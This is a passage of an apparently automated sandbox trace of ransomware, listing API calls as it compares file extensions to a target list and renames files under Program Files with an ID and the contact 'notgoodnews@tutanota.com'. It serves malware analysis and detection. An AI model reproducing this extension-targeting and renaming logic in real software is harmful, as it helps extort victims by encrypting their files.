Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.836] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0195.836] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.837] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.837] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0195.837] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.837] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.837] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.837] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.837] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.837] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.837] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.838] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.838] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.838] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0195.838] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.838] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.838] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0195.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.840] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0195.987] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=1369952) returned 1 [0195.987] CloseHandle (hObject=0x208) returned 1 [0195.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0195.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.988] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0195.989] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0195.989] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.989] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.989] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.990] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.990] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.990] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.990] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.990] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0195.990] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.990] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.991] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0195.991] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.991] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.991] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.991] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.991] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.991] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.991] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.991] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.992] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0195.995] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=994184) returned 1 [0195.995] CloseHandle (hObject=0x208) returned 1 [0195.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0195.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.996] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0195.996] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0195.996] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0195.996] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0195.996] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0195.997] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0195.997] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0195.997] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0195.997] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0195.997] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0195.997] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0195.997] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0195.997] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0195.998] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0195.998] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0195.998] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0195.998] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0195.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0195.998] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0195.998] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0195.999] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0195.999] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0195.999] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0195.999] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0195.999] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0195.999] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0196.000] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0201.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0201.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.424] lstrlenW (lpString=".doc") returned 4 [0201.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.424] lstrlenW (lpString=".docx") returned 5 [0201.424] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0201.424] lstrlenW (lpString=".pdf") returned 4 [0201.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.424] lstrlenW (lpString=".xls") returned 4 [0201.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.424] lstrlenW (lpString=".xlsx") returned 5 [0201.424] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0201.425] lstrlenW (lpString=".ppt") returned 4 [0201.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.425] lstrlenW (lpString=".zip") returned 4 [0201.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.425] lstrlenW (lpString=".rar") returned 4 [0201.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.425] lstrlenW (lpString=".bz2") returned 4 [0201.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.425] lstrlenW (lpString=".7z") returned 3 [0201.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.425] lstrlenW (lpString=".dbf") returned 4 [0201.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.426] lstrlenW (lpString=".1cd") returned 4 [0201.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.426] lstrlenW (lpString=".jpg") returned 4 [0201.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.426] lstrlenW (lpString=".doc") returned 4 [0201.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.427] lstrlenW (lpString=".docx") returned 5 [0201.427] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0201.427] lstrlenW (lpString=".pdf") returned 4 [0201.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.427] lstrlenW (lpString=".xls") returned 4 [0201.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.427] lstrlenW (lpString=".xlsx") returned 5 [0201.427] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0201.427] lstrlenW (lpString=".ppt") returned 4 [0201.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.428] lstrlenW (lpString=".zip") returned 4 [0201.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.428] lstrlenW (lpString=".rar") returned 4 [0201.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.428] lstrlenW (lpString=".bz2") returned 4 [0201.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.428] lstrlenW (lpString=".7z") returned 3 [0201.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.428] lstrlenW (lpString=".dbf") returned 4 [0201.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.429] lstrlenW (lpString=".1cd") returned 4 [0201.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0201.429] lstrlenW (lpString=".jpg") returned 4 [0201.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.429] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0201.430] lstrlenW (lpString="InkWatson.exe") returned 13 [0201.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0201.433] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=397312) returned 1 [0201.434] CloseHandle (hObject=0x2ac) returned 1 [0201.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0201.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.435] lstrlenW (lpString=".doc") returned 4 [0201.435] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0201.435] lstrlenW (lpString=".docx") returned 5 [0201.435] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0201.435] lstrlenW (lpString=".pdf") returned 4 [0201.435] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0201.435] lstrlenW (lpString=".xls") returned 4 [0201.435] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0201.435] lstrlenW (lpString=".xlsx") returned 5 [0201.435] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0201.435] lstrlenW (lpString=".ppt") returned 4 [0201.435] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0201.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.435] lstrlenW (lpString=".zip") returned 4 [0201.436] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0201.436] lstrlenW (lpString=".rar") returned 4 [0201.436] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0201.436] lstrlenW (lpString=".bz2") returned 4 [0201.436] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0201.436] lstrlenW (lpString=".7z") returned 3 [0201.436] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0201.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.436] lstrlenW (lpString=".dbf") returned 4 [0201.436] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0201.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.436] lstrlenW (lpString=".1cd") returned 4 [0201.436] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0201.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.437] lstrlenW (lpString=".jpg") returned 4 [0201.437] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0201.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.437] lstrlenW (lpString=".doc") returned 4 [0201.437] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0201.437] lstrlenW (lpString=".docx") returned 5 [0201.437] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0201.437] lstrlenW (lpString=".pdf") returned 4 [0201.437] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0201.437] lstrlenW (lpString=".xls") returned 4 [0201.437] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0201.438] lstrlenW (lpString=".xlsx") returned 5 [0201.438] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0201.438] lstrlenW (lpString=".ppt") returned 4 [0201.438] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0201.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.438] lstrlenW (lpString=".zip") returned 4 [0201.438] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0201.438] lstrlenW (lpString=".rar") returned 4 [0201.438] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0201.438] lstrlenW (lpString=".bz2") returned 4 [0201.438] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0201.438] lstrlenW (lpString=".7z") returned 3 [0201.439] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0201.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.439] lstrlenW (lpString=".dbf") returned 4 [0201.439] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0201.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.439] lstrlenW (lpString=".1cd") returned 4 [0201.439] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0201.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0201.439] lstrlenW (lpString=".jpg") returned 4 [0201.439] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0201.440] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0201.440] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0201.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0201.440] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=383488) returned 1 [0201.441] CloseHandle (hObject=0x2ac) returned 1 [0201.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0201.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.441] lstrlenW (lpString=".doc") returned 4 [0201.442] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0201.442] lstrlenW (lpString=".docx") returned 5 [0201.442] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0201.442] lstrlenW (lpString=".pdf") returned 4 [0201.442] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0201.442] lstrlenW (lpString=".xls") returned 4 [0201.442] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0201.442] lstrlenW (lpString=".xlsx") returned 5 [0201.442] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0201.442] lstrlenW (lpString=".ppt") returned 4 [0201.442] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0201.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.443] lstrlenW (lpString=".zip") returned 4 [0201.443] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0201.443] lstrlenW (lpString=".rar") returned 4 [0201.443] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0201.443] lstrlenW (lpString=".bz2") returned 4 [0201.443] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0201.443] lstrlenW (lpString=".7z") returned 3 [0201.443] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0201.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.443] lstrlenW (lpString=".dbf") returned 4 [0201.443] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0201.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.443] lstrlenW (lpString=".1cd") returned 4 [0201.444] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0201.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.444] lstrlenW (lpString=".jpg") returned 4 [0201.444] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0201.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.444] lstrlenW (lpString=".doc") returned 4 [0201.444] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0201.444] lstrlenW (lpString=".docx") returned 5 [0201.444] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0201.444] lstrlenW (lpString=".pdf") returned 4 [0201.445] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0201.445] lstrlenW (lpString=".xls") returned 4 [0201.445] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0201.445] lstrlenW (lpString=".xlsx") returned 5 [0201.445] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0201.445] lstrlenW (lpString=".ppt") returned 4 [0201.445] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0201.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.445] lstrlenW (lpString=".zip") returned 4 [0201.445] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0201.445] lstrlenW (lpString=".rar") returned 4 [0201.445] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0201.446] lstrlenW (lpString=".bz2") returned 4 [0201.446] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0201.446] lstrlenW (lpString=".7z") returned 3 [0201.446] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0201.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.446] lstrlenW (lpString=".dbf") returned 4 [0201.446] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0201.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.446] lstrlenW (lpString=".1cd") returned 4 [0201.446] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0201.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0201.446] lstrlenW (lpString=".jpg") returned 4 [0201.447] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0201.447] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0201.447] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0201.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0201.449] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=2048) returned 1 [0201.449] CloseHandle (hObject=0x2ac) returned 1 [0201.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0201.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.450] lstrlenW (lpString=".doc") returned 4 [0201.450] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.450] lstrlenW (lpString=".docx") returned 5 [0201.450] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0201.450] lstrlenW (lpString=".pdf") returned 4 [0201.450] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.450] lstrlenW (lpString=".xls") returned 4 [0201.450] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.450] lstrlenW (lpString=".xlsx") returned 5 [0201.451] lstrcmpiW (lpString1=".xlsx", 